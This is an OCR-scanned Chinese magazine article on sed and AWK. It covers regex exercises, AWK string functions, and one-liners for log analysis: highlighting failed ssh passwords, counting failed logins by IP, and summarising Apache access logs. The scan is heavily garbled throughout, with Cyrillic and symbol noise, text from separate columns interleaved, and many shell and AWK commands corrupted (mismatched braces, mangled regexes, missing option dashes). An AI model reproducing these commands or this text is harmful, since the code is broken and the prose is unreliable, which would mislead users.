e ^18: 每 2 行 合 为 1 行 ， 然 后 进行 输出 。 
© ^19: 
。 答 案 
C A)£H 
oz semasa Si WI TEE 
(01)? ((01)?)? (01)?? 
( B)£H 
d f m S 
(@1)* |((01)*)* (01) жж (01)*(01)* 
j L О r 
(01)?+ | (01)+? | (01) 2% (01)*? 
V W 
(01)+* | (01)*+ 
(CJA 
b e 1 q 
(01)* ((01)+)+ (01)++  |(01)+(01)* 
g p t 
01€010* | (@1)+ 01 | (01)*(01)+ 


| Vm mS x A M— —⁄— I Le 


(р) 

c h u x 
(0|1)* |(@ж|1* )* (02?1?)* | (Ox*1*)* 
fh 


ТЕ АМК 中 使 用 的 正则 表达 式 中 ， 如 下 等 
AERA 


(AB)C = A(BC) = ABC 连接 的 结合 法 则 
(A[B)|C = А|(В|С) = А|В|С | 选择 的 结合 法 则 
(A?|B) = (A|B?) = (A|B)? |? 选择 的 结合 法 则 


A|B = BJA 选择 的 交换 法 则 
A|A-A XoEER EB 2855111] 


(ANSA 括号 的 性 质 


AB|AC = A(B|C) 选择 的 分 配 法 则 
BA|CA = (B|C)A 选择 的 分 配 法 则 


A|AB = AB? ”选择 的 分 配 法 则 
B|AB = A?B ?选择 的 分 配 法 则 


^E 07 ea» 67 正 前 面 的 表达 式 中 含有 “o” 
“k dot in ЕУ, 可 以 省 略 括号 。 
如 果 理 解 了 这 一 点 ，(A ) - (C ) 可 能 就 变 


(D ) 组 是 指 把 包括 空 列 在 内 的 比特 列表 示 
出 来 。 从 怎样 捕捉 比特 列 的 角度 出 发 ， 得 到 了 


这 里 忆 结 一 下 awk 比 较 重要 的 内 置 字 符 串 控制 阔 数 。 
1. sub f[ gsub 函数 

sub 函数 在 记录 中 检索 匹配 正则 表达 式 的 字符 串 ， 并 
蔡 换 为 需要 的 字符 串 ; gsub AŽ sub) 类似， 不 过 后 者 会 
蔡 换 正则 表达 式 匹 配 到 的 所 有 内 容 。 

格式 : sub(regex, replacement_str, string) 


gsub(regex, replacment_str, string) 


2. index EZ 
index #15 [e|(E f$ eer ES ARRI substring НУМ És , 
格式 : index(string, search string) 
3. legth 函数 
length EK ZA TE e f$ 88 Ф) IB E ELS ERR FH RNC 
length 函数 就 返回 1 个 记录 的 字符 数 。 
格式 : Length(string) 


rz ~ A 人 кн I — ` — £7 £ A 


尝试 并 掌握 
AWK 的 基础 


第 $ = 


不 同 的 正则 表达 式 。(D ) 组 第 1 个 表达 式 是 把 
比特 列 看 成 是 1 个 字符 /(0|1)/ 的 重复 。 而 第 2 个 
表达 式 把 “0” 的 排列 和 “1” 的 排列 当 作 了 基本 
单位 。 第 3 个 表达 式 的 想法 是 把 /0?1?/ 也 就 是 / 
e |0|1I01/ 这 4 种 类 型 当 作 了 基本 单位 。 第 4 个 
表达 式 同 第 3 个 表达 式 ( e: KRZY) 


Bs 


怎么 样 ? 是 不 是 在 此 之 前 只 把 AWK 作 为 
一 种 古典 的 工具 而 忽略 了 它 的 其 他 功能 呢 ? 对 
于 放 不 下 IDE 的 一 代 工 程 师 来 说 ， 是 不 是 重新 
发 现 了 sedawk 等 命令 行 工 具 的 魅力 了 呢 ? 对 
于 通过 模式 和 动作 的 组 合 以 字段 /记录 行 来 识 
别 和 处 理 文本 的 AWK 而 言 ， 敏 捷 是 它 的 特点 。 
像 本 文 使 用 的 option 函数 一 样 ， 我 们 可 以 把 频 
繁 使 用 的 脚本 、 函 数 和 正则 表达 式 的 语法 事先 
做 成 库 ， 作 为 更 加 敏捷 的 编程 工具 进行 使 用 。 

这 里 只 不 过 介绍 了 AWK 的 很 小 一 部 分 功 
能 。AWK 即使 不 能 算是 和 Perl 语 言 、Ruby 语 
言 一 样 的 真正 的 脚本 语言 ,但 也 具备 了 强大 的 
正则 表达 式 和 内 置 函 数 。 有 兴趣 的 读者 和 想 试 
用 的 读者 可 以 进一步 了 解 一 下 。 


4.substr 国 数 

substr 国 数 在 字符 串 中 用 字符 起 止 偏 移 量 生成 子 串 ， 
551-788. 

格式 : substr(string, start-position, end-position) 
5. match EZ 

检查 正则 表达 式 是 否 能 够 匹配 字符 串 。 
返回 非 0 值 ; AU, REO. 

格式 : match(regex, string) 


6. split РА 

splt 国 数 使 用 第 三 个 参数 的 字段 分 隔 符 截 取 数 组 的 字 
TRIER. EPDS, awk 就 默认 使 用 FS 内 置 变量 ( 空 
格 ) 值 。 


格式 : split(string, array, delimiter) 


如 果 能 够 匹配 ， 


por —— —%м2—=-=ҥт—. гт 


| 
was 
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从 现在 开始 sed/AWK 再 入 门 


i UNIX 工 程 师 的 爱好 
特辑 


B a = m 
-5 E € 


TD Eb 
ЄТ 日 志 解 析 


文 / 航 长 镇 一 booknospametsurunagajp 1&/ 25 


这 章 我 们 来 学 习 进 行 日 志 解 析 和 收集 的 sed/AWK 单 行 脚本 。 通 过 使 用 sed 和 AWK， 能 够 轻松 地 从 大 量 的 日 志 信 


息 中 提取 出 所 需要 的 东西 。 


F: + 


如 果 需 要 从 大 量 的 日 志 信 息 中 掌握 系统 工 
作 的 状况 ,或 者 确定 问题 的 原因 所 在 ， 对 日 志 
的 提取 和 分 析 是 必 不 可 少 的 。 近 年 来 ,“ 大 数 
据 ” 和 “数据 挖掘 ”这 样 的 字眼 渐渐 取得 了 人 
们 的 关注 。 虽 然 数据 量 在 到 达 某 种 程度 后 ， 就 
需要 采取 将 日 志 进 行 集中 管理 的 方法 ， 但 一 般 
情况 下 ， 将 日 志 以 文件 的 方式 存储 在 桌面 上 就 
能 满足 我 们 的 需求 。 这 里 我 们 将 介绍 如 何 使 用 
sed 和 AWK 这 样 的 基本 命令 , 人 简单 快速 地 分 析 、 
统计 我 们 手头 上 的 日 志文 件 ， 且 不 花费 任何 费 
用 。 由 于 单行 脚本 十 分 轻 量 ， 执 行 时 也 不 需要 
大 量 资源 ， 所 以 可 以 随时 随地 多 次 执行 。 让 我 
们 通过 不 断 地 尝试 ， 将 单行 脚本 作为 我 们 日 常 
工具 的 一 部 分 吧 。 

本 篇 所 有 的 例子 都 是 在 CenterOS 6.4 中 执行 
的 。 日 志文 件 的 路 径 以 及 文件 名 请 大 家 根据 具 
体 的 环境 进行 相应 的 修改 。 男 外 ， 操 作 CentOS 
的 日 志文 件 需 要 管理 员 权 限 。 单 行 脚本 在 使 用 
管理 员 权限 执行 的 时 候 ， 提 示 符 使 用 P 表示 。 
使 用 sed 和 AWK 
进行 日 志 解析 的 基础 

sed 和 AWK 作 为 基本 命令 ， 被 预 装 在 许多 
UNIX 系 的 操作 系统 之 中 。 使 用 Perl 或 者 Ruby 
编写 的 脚本 虽然 生产 性 很 高 ， 但 它们 有 时 则 没 
有 被 预 装 在 操作 系统 当中 。 如 果 可 以 在 日 常 的 


生活 以 及 工作 中 使 用 像 sed 这 样 基 本 的 命令 ， 
即使 有 紧急 事件 发 生 ， 也 可 以 从 容 地 应 对 。 
不 论 怎么 说 ， 基 本 的 命令 都 是 非常 轻 量 的 。 
对 操作 系统 的 负担 很 小 ,执行 速度 也 十 分 地 快 。 
例如 ， 如 果 要 打开 超过 1GB 大 小 的 日 志文 件 ， 
使 用 Emacs 或 者 vi 来 进行 操作 的 话 ， 将 会 消耗 
大 量 的 内 存 ， 并 且 速 度 也 将 十 分 缓慢。 而 使 用 


sed 的话 则 不 仪 可 以 使 用 日 期 或 字符 串 来 对 文 
件 进 行 过滤 ， 还 可 以 指定 相应 的 行 数 。 例 如 ， 
我 们 可 以 像 下 面 这 样 取出 第 100 一 200 行 。 


$ sed -e '100,200p' 文件 名 


过 滤 后 的 内 容 可 以 使 用 管道 符 (| ) 将 结 
输出 到 more 或 less 这 样 的 分 页 程序 中 ， 也 可 使 
用 重 定 回 符 (> ) 将 结果 输出 到 文件 ， 这 样 的 话 
即使 数据 很 大 , 也 可 以 轻松 地 应 对 。 除 了 过 滤 ， 
如 果 还 需要 统计 的 话 ， 可 以 使 用 AWK。 我 们 
可 以 像 下 面 这 样 使 用 AWK 计算 文件 的 行 数 。 


$ awk '{count+} END (print count}' 文件 名 


AWK 还 可 以 取出 以 空格 分 割 的 字段 。 我 
们 可 以 像 下 面 这 样 计算 1s 命 令 输 出 的 当前 目录 
下 文件 的 大 小 (以 空格 分 隅 的 第 $ 列 数据 )。 


$ ls -L | awk '{size+=$5} END (print sizeJ' 


我 们 将 “ls -P 的 结果 通过 管道 从 输出 到 
АМК 中， 并 取出 表示 文件 大 小 的 第 5 列 数据 ， 
然后 将 它们 加 在 一 起 。 此 外 还 可 以 进行 行 数 、 
特定 字符 串 出 现 的 次 数 等 许 许 多 多 的 统计 。 


rz ~ A 人 кн 
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对 结果 进行 排序 的 话 ， 使 用 sort 命 令 将 十 错误 侦 测 工作 也 将 能 更 好 地 进行 。 我 们 可 以 使 
分 方便 。 如 果 我 们 想 将 各 用 户 的 Home 目录 按 用 sed 的 字符 串 蔡 换 功 能 ， 将 重要 的 字符 串 以 
照 使 用 量 的 多 少 进 行 排 序 ， 可 以 先 使 用 du 命 及 它们 的 背景 高 之 显示 。 比 如 ,在 ssh 服务 的 
令 输 出 /home 内 各 个 目录 的 磁盘 容量 ， 之 后 再 日 志 (/var/log/secure ) ЖЇ Н, 为 了 能 更 清楚 
使 用 管道 符 将 结果 输出 给 sort 命 令 。 可 以 添加 -n 地 显示 密码 输入 错误 的 记录 ， 可 以 在 能 够 显示 
选项 给 sort 命 令 , 将 数值 作为 Key 进行 排序 。 颜色 的 终端 上 由 使 用 图 1 这 样 的 单行 脚本 。 
同时 ， 还 可 以 添加 -选项 ， 让 结果 按照 从 大 到 之 后 就 可 以 看 到 “Failed password” FIF P 
小 的 顺序 排列 。 显示 为 了 蓝 绿色 ,背景 色 显示 为 了 蓝 色 ,如 
аара 图 2 所 示 。 这 时 非法 使 用 痕迹 也 更 易于 察觉 。 
487430 /home/tsurunaga 图 1 中 脚本 大 概 按照 如 下 方式 执行 。 
52426 /home/gihyo ТЕ ssh X& >< A JW BJ Н] oe, /var/log/secure X: 
ж. еіс ип з ЙТ, BEDAE SE AER 
除了 文件 大 小 以 外 ， 还 可 以 根据 某 一 模式 "Failed password" ,我 们 使 用 sed 将 其 进行 蔡 换 。 
的 出 现 次 数 或 者 速度 这 样 的 数值 对 结果 进行 排 基本 形式 是 “sed -e 's/ 被 替换 内 容 / 替 换 内 容 /”， 
序 ， 使 结果 更 具 可 读 性 。 将 被 蔡 换 内 容 指定 为 “\(Failed password)", $ 
换 内 容 指 定 为 “x1lb[1:36:44m\1\x1lb[0m”。 通 
日 志 解 析 和 报告 过 “\( 模 式 y” 指定 被 蔡 换 内 容 ， 就 可 以 在 替换 
内 容 中 用 “1” 引用 匹配 该 模式 的 字符 串 。 其 
从 现在 开始 , 我 们 将 使 用 具体 的 日 志文 件 ， “xlb[1:36:44m” 与 “xlb[0m” 是 高 亮 
向 大 家 介绍 解析 以 及 报告 的 方法 。 前 半 部 分 将 字符 串 及 其 背景 的 转 义 序列 。“\x1b” 是 ESC 代 
使 用 ssh 服 务 的 日 志 ， асан A 码 的 16 进 制 表 示 ,“1;36;44” 表 示 “ 文 字 风 格 ; 
务 右 的 日 志 。 其 他 类 型 的 日 志 也 是 一 样 ， 文字 颜色 ; 背景 色 ”, Н “Ге m” 把 它们 绑 定 
AA E E " 在 一 起 ， 这 里 将 其 指定 为 了 “ 粗 体 ; 文字 颜色 
下 方法 也 完全 可 以 适用 。 ( 蓝 绿色 ); BERERE. 除了 匹配 这 个 模 


的 ssh 登录 服务 的 日 志 解析 与 报告 


(D BSD 系 的 sed 等 ,根据 sed 的 版 本 ， 有 可 能 无 法 高 亮 显 示 。 


CentOS 的 ssh 服 务 将 登录 错误 记录 在 /var/ O 因为 是 黑白 印刷 ， 颜 色 恋 成 了 浅 灰色 。 
文件 中 。 通 过 使 用 мі хак 我 们 @ 因为 是 黑白 印刷 ， 颜 色 变 成 了 浅 灰 色 。 


可 以 迅速 地 发 现 非法 访问 以 及 弄 凋 登录 。 


vE? 用 颜色 高 亮 显示 密码 输入 错误 的 效果 


rnotücentOs&:- 


将 日 志 中 重要 的 字符 串 高 亮 显 177 — dig) OTO MEG BAT ы) 


lul 1B 13:82:71 Centü*h sshd[ 12883]: IE ТЕЕП far shin from 1392.168.13.22[^] 


仅仅 使 用 tail 或 者 more 这 样 的 命令 PU xl 4 port 44580 ssh2 


Jul 18 15:82:24 Centü5B sshd[128053]: ШЕ ЕЕ ҮЕ or shin from 132.158.13.22| 


"n H 志 的 话 ， 可 能 会 不 小 心 错过 重要 的 信 Е. Piae ILE Si; sshd[ 12824]: ШЕСЕ für invalid user slideshow 


from 192.168.19.213 port 51005 ssh2 


如 果 可 以 将 重要 的 字符 串 突出 显示 ， 那 么 Pars cres eti NIU ts seus eser st 


lul 1B 13:85:55 Centü*h sshd[1T27824]: (ЖЕШИНЕ far invalid user slideshaw 
from 192.168.19.213 port 51005 ssh2 

Jul 10 15:86:12 CentO5b sshd[12825]: ШЕШ ШЕ ЫЫ Tor shin from 192.168.13.12) 
4 port 44581 ssh) 

lul i& 15:06:17 Centü056 sshd[i2835]: 
4 port 44581 ssh2 

Jul 16 15:85:38 Centü5b sshd[12825]: ШЕИ 


„ЕНШ. far shin fram 197.164.13.77 


аа lor shin from 192.188.13.12 


= = == ELI nA A 4 part 44581 ssh2? 
Ут 用 颜色 高 亮 显 示 错 误 的 密码 输入 Jul 18 13:86:35 CentüSó sshd[12047]: [Rf ШЕЙШ for invalid user slideshow 
trom 192,168,19.213 port 51007 ssh 
L Jul 18 15:85:38 Centü56 sshd[12847]: ШШ ШУР ЕЛЫ) 1 alid user slideshow 
# sed -e 's/\(Failed password\)/\x1b[1; шалы ipt s A DOCE сн EN a dados a 
. ' Jul 11 22:88:27 CentOS sshd[4615]: Ж А ЕШ ЕНДЫ for root from 127.0.0.1 port| 
36;44m\1\x1bL0m/' /маг/ (од/ѕесиге мыйын ауе | | 
※ 访 问 /var/Log/secure 目 录 需 要 管理 员 权 限 Jul 11 22:88:38 Сепї05& sshd[4615]: EENES 
50193 ssh? Ë 
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从 现在 开始 sed/AWK EBA J 


UNIX 工 程 师 的 喜好 
特辑 1 见 在 


式 的 字符 串 之 外 ， 其 余 全 部 采用 正常 方式 显示 ， 
这 里 使 用 “0m” 对 它们 进行 重 置 。 

其 他 可 以 指定 的 内 容 如 表 1 所 示 。 

如 果 需 要 同时 高 忱 两 处 不 同 的 地 方 ， 可 以 
使 用 “sed -e 脚本 1 -e 脚本 2” 的 形式 ,追加 相 
应 的 被 蔡 换 内 容 以 及 蔡 换 内 容 即 可 。 例 如 执行 
图 4 的 脚本 后 ， 在 高 亮 “Failed password ”的 同 
时 ,“authentication failure” 也 将 被 高 亮 成 红色 。 

虽然 可 以 使 用 上 述 方法 指定 高 亮 各 个 匹配 
字符 串 的 颜色 , 但 是 采用 单行 脚本 就 不 是 那 
么 有 效率 了 。 在 需要 高 之 多 处 的 情况 下 ,使 
用 sed 脚 本 会 更 加 简洁。 这 里 我 们 将 脚本 写 入 
color.sed 文件 (代码 清单 1)， 采 用 “-f 脚 本 文件 
名 ”这 样 的 参数 执行 sed。 在 color.sed 脚 本 中 ， 
除了 之 前 介绍 的 “Failed password/authentication 
failure” 高 完 以 外 ， 还 会 将 “sudo” 显 示 为 绿色 ， 


并 在 每 行 的 开头 以 粗 体 显 示 相 应 的 日 期 (“Jul9 
23:05:50” ), 


ТТ K Wo] ET Te АИА ee AT АПЫ: 


vI 高 亮 字符 串 以 及 背景 时 可 以 使 用 的 转 义 序列 
文字 颜色 


重症 风格 


接 下 来 ， 我 们 来 讲解 一 下 如 何 从 日 志 中 根 
据 访 问 源 地 址 得 出 非法 访问 数量 。 例 如 ， 寿 需 
要 根据 访问 源 地 址 统计 ssh 访 问 失 败 的 次 数 ， 
只 需要 对 日 志 ( /var/log/secure ) 执 行 sed 命 令 即 
可 ， 如 图 5 所 示 。 

我 们 以 “sed -n -e /对 应 行 /s/ 被 蔡 换 内 容 
/替换 内 容 / 作为 基础 ， 将 “Failed password" 
指定 为 非法 访问 时 记录 的 字符 串 ， 便 可 将 记录 
有 非法 访问 的 行 单独 取出 。 为 了 忽略 其 他 不 匹 
配 的 行 , 我 们 向 sed 添加 “-n” 选 项 。 同 时 ,为 
了 得 到 访问 者 的 他 地址， 可 以 将 被 蔡 换 的 内 容 
指定 为 “.*sshd.*Failed password for.*from V[0- 
9.] *N port .*”。“.*” 表 示 任 意 字 符 串 ,“[0-9.]*\” 
表示 包含 0 ~ 9 的 数字 以 及 “. (点 》 的 字符 串 ， 
也 就 是 像 “192.168.0.3” 这 样 的 全 地 址 。 通 过 
在 前 后 添加 CA)" , 可 以 在 替换 内 容 中 使 用 “\1” 
引用 匹配 的 字符 串 。 这 样 一 来 ， 只 要 我 们 在 符 
换 内 容 中 指定 \1”， 就 可 以 去 除了 中 地 址 以 外 的 
字符 串 了 。 


粗 体 


4 下 划 线 

5 点 线 

j best ERES, 
8 隐藏 


|| s 日 色 


w[E3 ssh 登录 失败 时 的 日 志 
Jul 10 13:05:55 Host sshdL120241: 


Failed password for invalid user OO 
from 192.168.19.213 port 51005 ssh2 


殉 代 码 清单 1 color.sed 


s/\(Failed password\)/\x1b[L1;36;44m\1\x1bLOm/ 


wEl4 ”同时 高 亮 两 处 


# sed -e 's/\(Failed раѕѕмога\) /\ 
x1bL1;36;44mM Nx1bEOm/"' \ 


—e 's/NV(authentication failure\)/\ 
x1bL5;31;435m\1\x1b[LOm/" \ 
/var/log/secure 


s/NCauthentication failure\)/\x1b[L5;31;43m\1\x1bLOm/ 


s/\(sudo\)/\x1b[L1;32;45m\1\x1bLOm/ 


s/NC^.*L0-91L0-91:L0-91L0-91:L0-91L0-91N5 /Nx1bE 1m NV 1 Nx 1bEL0m/ 
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w[E5 使 用 sed 计 算 非法 访问 数 ( 根 据 访问 源 地 址 进行 计算 ) 
# sed -n -e '/Failed password/s/.* sshd.*Failed password for.*from \СЕ0-9. 1ж\) port .*/N1/p' 


/var/log/secure | sort | uniq -c 
3 127.0.0.1 
5 192.168.19.213 
9 192.168.19.224 

... Е... 


有 图 6 使 用 sed 显示 非法 访问 Top 10( 按 照 次 数 由 多 到 


少 显示 最 多 的 10 个 地 址 ) 


# sed -n —e '/Failed password/s/.* sshd.*Failed password for.*from \СС0-9. 1ж\) port .*/N1/p' 
/var/log/secure | sort | uniq -c | sort -nr | head 10 


120 192.168.1.20 
90 192.168.1.15 
65 192.168.1.55 

6 127.0.0.1 
2 192:168:1:15 


+ 7 ”使 用 sed 计 算 Web 服务 的 非法 访问 数 


# sed -n -e ! /Сеггог21/5/ . ж\СсїепЕ \С.ж\)\Ј. ж/\1/р' /var/log/httpd/error_log | sort | uniq 


-c | sort -nr | head 10 


在 使 用 sed 取 得 了 非法 访问 的 源 耳 地址 后 ， 
使 用 管道 符 将 结果 输出 到 sort 命 令 中 进行 排序 。 
之 后 我 们 还 可 将 结果 输出 到 uniq 命 令 中 。 添 加 

c" 选项 将 重复 的 卫 地 址 合并 ， 同 时 对 行 数 进 
行 合计 ， 就 能 得 到 最 终 的 结 

我 们 还 可 以 将 结果 进行 进一步 的 加 工 ， 例 
如 如 有 果 和 希望 按照 非法 访问 次 数 将 访问 源 地 址 进 
行 排序 ， 并 显示 数量 最 多 的 前 十 位 ， 就 可 以 在 
图 $ 的 单行 脚本 后 添加 “| sort -nr | head 10" C] 
6 )。 其 中 , “sort -nr” 表 示 将 结果 从 多 到 少 进 
TTTEFF, "head 10” 表 示 仪 显示 前 十 位 结 

通过 改变 匹配 字符 串 的 内 容 ， 还 可 以 很 容 
易 地 计算 其 他 服务 的 非法 访问 数 。 例 如 ， 硅 想 
要 计算 Web 服务 的 非法 请 求 客 户 端 数量 ， 则 可 
VI XT /var/log/httpd/error log 文 件 执行 图 7 所 示 
的 单行 脚本 。 


@ Web 服 务 的 日 志 解析 与 报告 


下 面 我 们 以 Apache HTTPD (后 称 Apache ) 
的 访问 日 志 (/var/log/httpd/access log ) 为 例 ， 
讲解 使 用 sed/AWK 分 析 Web 服 务 日 志 的 方法 。 


FA 


访问 日 志 的 格式 

Apache 访 问 日 志 有 很 强大 的 上 自 定义 功能 。 
因此 根据 环境 的 不 同 ,， 访问 日 志 以 及 错误 日 志 
的 格式 会 有 所 差异 。 这 里 我 们 使 用 较为 常见 的 
“combined” 格 式 的 访问 日 志 ( 图 8 )。 

Apache 的 访问 日 志 的 格式 ， 可 以 在 配置 文 
fF GE Ж Æ httpd.conf ) 中 ,使 用 像 “%h” 以 及 
“%1” 这 样 的 占 位 符 进行 定义 ， 如 图 9 所 示 。 我 
们 可 以 像 下 面 这 样 使 用 AWK 将 被 空格 分 隔 符 
分 隔 开 的 各 个 字段 提取 出 来 。 

# awk '(print $1}' access (од 

T 访问 源 IP 地 址 
awk '(print $2)' access Log 
T ВЕС 1413 ID 
awk '(print $3}' access Log 
1 BID 
awk '(print $4,$5)' access Log 
1 访问 时 间 
awk '(print $9)' access Log 
T 响应 代码 


awk '(print $10}' access Log 
1 发 送 的 数据 量 


为 Request Line /HTTP Referer/ 用户 代 理 
( User Agent ) 是 包含 在 “"~"( 双 引号 》 之 中 的 ， 


AA fT Le 


b 


特辑 ] | 


UNIX 工 程 师 的 喜好 


从 现在 开始 sed/AWK EBA J 


我 们 需要 根据 “"” 将 字段 取出 。 因 此 ， 我 们 问 
AWK 添加 “-F\"” 选 项， 来 修改 边界 符 。 


# awk —FN" '(print $2}' access Log 


1 Request Line 


awk —FN" '(print $4}' access (од 


+ HTTP Referer 


awk —FN" '{print $6}' ассеѕѕ (од 


1 用户 代理 


显示 Top 10 

在 明白 了 如 何 取 出 各 个 字段 后 ， 我 们 就 可 
以 根据 每 个 字段 的 数量 ， 对 访问 日 志 进 行 统计 
了 。 奋 想 要 查看 访问 数 最 多 的 客户 ， 可 以 使 用 
如 图 10 所 示 的 单行 脚本 ,显示 访问 数量 最 多 
的 前 十 位 访问 源 卫 地址 。 

这 里 我 们 使 用 AWK 从 访问 日 志 中 取出 访 
问 源 耻 地址， 并 通过 sort 将 其 按照 卫 地 址 进行 
排序 ， 之 后 再 通过 uniq 计 算 重 复 的 行 ， n 
再 次 送 入 sort 进 行 排序 ， 最 后 使 用 head 命 令 和 

s ШЫ HIP 


У 8 combined 格式 的 访问 日 志 
10.0.2.15 - — L21/Jul/2013:18:12:57 +09001 "GET /wordpress НТТР/1.1" 301 310 "—" "Mozilla/..." 


址 ， 我 们 使 用 “awk'fprint $11" 取出 第 一 列 的 
内 容 ， 除 此 以 外 和 图 6、 图 7 基本 相同 。 如 果 
使 用 “awk '{print $41'/awk '{print $9})'” 取 出 其 
他 字段 的 话 ， 就 可 以 显示 其 他 条 目的 数量 以 及 
Top 10 了 (图 11)。 

除了 单纯 地 计算 总 和 ,我 们 还 可 以 通过 
对 AWK 设 置 不 同 的 条 件 来 进行 计算 。 例 如 ， 
如 果 想 要 检查 非法 访问 以 及 脚本 的 异常 情况 ， 
就 可 以 像 图 12 的 单行 脚本 一 样 , 使 用 “$9 
/200|304/” 这样 的 条 件 ， m OE Hip) py (X mj ДЕ 
“200” 以 及 “304” 以 外 的 日 志 。 

执行 图 12 所 示 的 脚本 后 ，AWK 将 会 选 出 
响应 代码 是 200/304 以 外 的 请 求 URL， 然 后 将 
其 通过 管道 行 输出 到 sort 以 及 uniqg， 并 按照 由 
多 到 少 的 顺序 显示 。 通 过 将 啊 应 代码 以 及 请 求 


的 URL 一 并 显示 , 不 仅 可 以 很 清楚 地 发 现 哪 
ea ш, 


部 的 攻击 ， 还 是 Web 应 用 程序 的 错误 。 男 外 ， 
通过 改变 条 件 ， 我们 还 可 以 实现 根据 Request 


10.2.5.67 - - L21/JuU/2015:18:15:18 +09001 "GET /robots.txt HTTP/1.1" 404 292 "-" "Googlebot/2.1" 


У 89 配置 Apache 访 问 日 志 的 格式 


s 
CustomLog logs/access_log combined 
LogFormat |"%h ZL ќи Zt V'ZrV' Z>s Zb \"%{Referer}i\" \"%{User-Agent}i\""| combined 
y 

Zh :访问 源 IP 地 址 Z>s :响应 代码 

ZL :RFC 1413 ID 4b :发 送 的 数据 量 

Xu :用 户 ID %{Referer}i :HTTP Referer 

Zt :访问 时 间 x{User-Agent}i :用 户 代理 

Аг :Request Line 

A 


Уу 10 显示 访问 源 IP 地 址 Top 10 


$ awk '(print $1}' access log | sort | uniq -c | sort -nr | head -10 


1721 217.147.8.200 
1496 165.245.212.150 
1414 251.60.39.151 


1580 140.189.174.80 
1557 174.86.55.254 


1555 202.60.24.252 
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Line 对 日 志 进 行 统计 ， 或 者 只 统计 正常 请 求 的 
数据 传输 量 等 功能 。 


不 同 响应 代码 的 传输 量 

接 下 来 让 我 们 使 用 循环 以 及 关联 数组 等 
AWK 的 高 级 功能 来 计算 总 和 以 及 平均 值 。 我 
们 可 以 执行 如 图 13 所 示 的 单行 脚本 ,计算 从 
服务 器 传输 到 客户 端的 数据 量 的 总 和 。“total[$9] 
+= $10” 表示 通过 使 用 关联 数组 (total[] ), 我 
们 可 以 获得 各 个 响应 代码 传输 量 的 总 和 。 


高 手 教 你 用 sed/AWK 


Сү / 8 


日 志 解析 V pani) 


以 Kb 作为 单位 显示 ， 我 们 将 结果 除 以 1024。 


平均 响应 时 间 
响应 时 间 是 Web 服务 中 一 项 非常 重要 的 性 
能 指标 。 很 多 网 站 都 将 “页 面 的 刷新 要 在 O 秒 
内 完成 ” 作为 Web 服务 的 一 项 非 功能 性 条 件 宇 
若 想 要 在 Apache 的 日 志 中 确认 响应 时 间 ， 就 
需要 对 其 日 志 格 式 进行 相应 的 更 改 ( 图 14 )。 
使 用 如 图 15 所 示 的 单行 脚本 ， 从 修改 后 
的 日 志 中 取出 并 计算 平均 响应 时 间 。 在 像 图 14 


那样 设 定 日 志 格 式 后 ， 各 请 求 的 啊 应 时 间 将 被 
记录 在 最 后 一 个 字段 中 。 我 们 可 以 使 用 “$SNF” 


“END{...}” 区 块 表 示 在 所 有 的 日 志 都 读 取 完毕 
后 , 仅 需 要 执行 一 次 的 内 容 。 在 END 区 块 内 部 ， 
取出 total[] 中 的 各 个 元 系 , 执行 相应 次 数 的 
“printf "..."”， 并 以 一 定 的 格式 显示 各 个 响应 代 
码 以 及 它们 的 传输 总 量 。 同 时 ,为 了 将 传输 量 


D 刷新 单一 Web 页 面 时 ， 由 于 会 同时 发 起 图 像 以 及 HTML 
文档 等 多 个 请 求 ， 因 此 单一 URL 的 请 求 啊 应 时 间 和 页 面 
整体 的 刷新 时 间 并 不 一 致 。 


У [811 显示 HTTP Referer/ 响 应 代码 /用 户 代 理 的 Top 10 


- HTTP Referer 
$ awk —FN" '(print $4}' access Log | sort | uniq -c | sort -nr | head -10 


邮 53903 http://www. OO.jp/ АА... 
B 11479 - 
3591 http://www. OO .jp/ AA... 


2/99 http://www. OO.jp/ У ЧА 


З [gv PCR 
# awk '( print $9 }' access log | sort | uniq -c | sort -nr 
7295 200 
2911 304 
2133 404 
1474 500 
1400 301 


3 用 户 代理 

awk —FN" '(print $6}' access log | sort | uniq -c | sort -nr | head -10 

5891 Mozilla/5.0 (Windows; U; Windows ... Safari/534.10 

4145 Mozilla/5.0 (Macintosh; U; Intel Mac OS X ... Firefox/3.6.12 

2558 Mozilla/5.0 (Windows; U; Windows NT ... Firefox/3.6.12 

1959 Mozilla/5.0 (Macintosh; U; Intel Mac OS X ... Chrome/8.0.552.215 Safari/534.10 


vE 根据 请 求 URL 计 算 疑 似 非法 访问 的 日 志 数 量 


$ awk '$9 !~ /200|304/{print $9,$7}' access Log | sort | uniq -c | sort -nr 
2027 404 /wp-content/plugins/... 
1475 500 /wp-comments-post.php 


96 206 /2010/12/03... 
- . -省 略 . . . 
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从 现在 开始 sed/AWK EBA J 


1 UNIX 工 程 师 的 喜好 
特辑 


将 它 取 出 。 逐 行 读 和 日志， 并 计算 总 和 ( sum ) 
以 及 行 数 (count )， 在 读 入 了 全 部 内 容 之 后 ， 
计算 出 平均 值 ， 同 时 除 以 1000， 将 单位 从 秒 变 
为 训 秒 。 若 仅仅 想 要 得 到 正常 请 求 的 响应 时 间 ， 
我 们 可 以 添加 ($9 == 200 )， 仅 取出 响应 代码 
是 200 的 日 志 。 通 过 改变 条 件 以 及 计算 方法 ， 
我 们 可 以 得 到 响应 较 慢 的 URL 或 访问 源 。 


GD 数据 的 匿名 化 


我 们 将 日 志 交 付 到 其 他 部 门 或 者 公司 以 外 
的 地 方 时 ， 如 果 不 加 处 理 就 直接 交付 ， 不 仅 可 
能 会 泄露 个 人 或 者 公司 的 信息 ， 同 时 还 违反 了 
对 机 密 信息 的 保密 义务 。 所 以 在 交付 日 志 的 时 
候 ， 将 能 够 特定 到 个 人 的 信息 进行 隐藏 等 ， 对 
Н dis dE 1T Ж А 16 C anonymize ) 处 理 是 必 不 可 
少 的 。 


wE|13 不 同 响应 代码 的 传输 量 


# awk ' < total L$9] += $10 ) END € for (x in total) { printf "Status code #34 : 


KbNn", x, totalLx1/1024 } > ' access Log 
Status code 304 : 52: 
Status code 404 : 5106. 
Status code 500 : 2556. 
Status code 200 : 329836. 
Status code 206 : 4649. 
Status code 301 : 555: 
Status code 302 : 20. 


У 14 向 Apache 的 访问 日 志 中 添加 响应 时 间 


有 图 15 计算 平均 啊 应 时 间 
3 全 部 响应 


LogFormat "Zh ZL Xu Zt \"žr\" Z>s Zb \"%{Refererł}i\" \"%{User-Agent}i\"" ZD combined 


X f£ Apache 2.0 以 上 的 版 本 中 ，access_ log ZT 
的 格式 使 用 了 combined 的 情况 下 。 


隐藏 访问 源 IP 地 址 

为 了 使 访问 Web 服 务 絮 的 客户 端 无 法 被 确 
A, 我 们 可 以 使 用 AWK， 通过 将 第 一 个 字段 
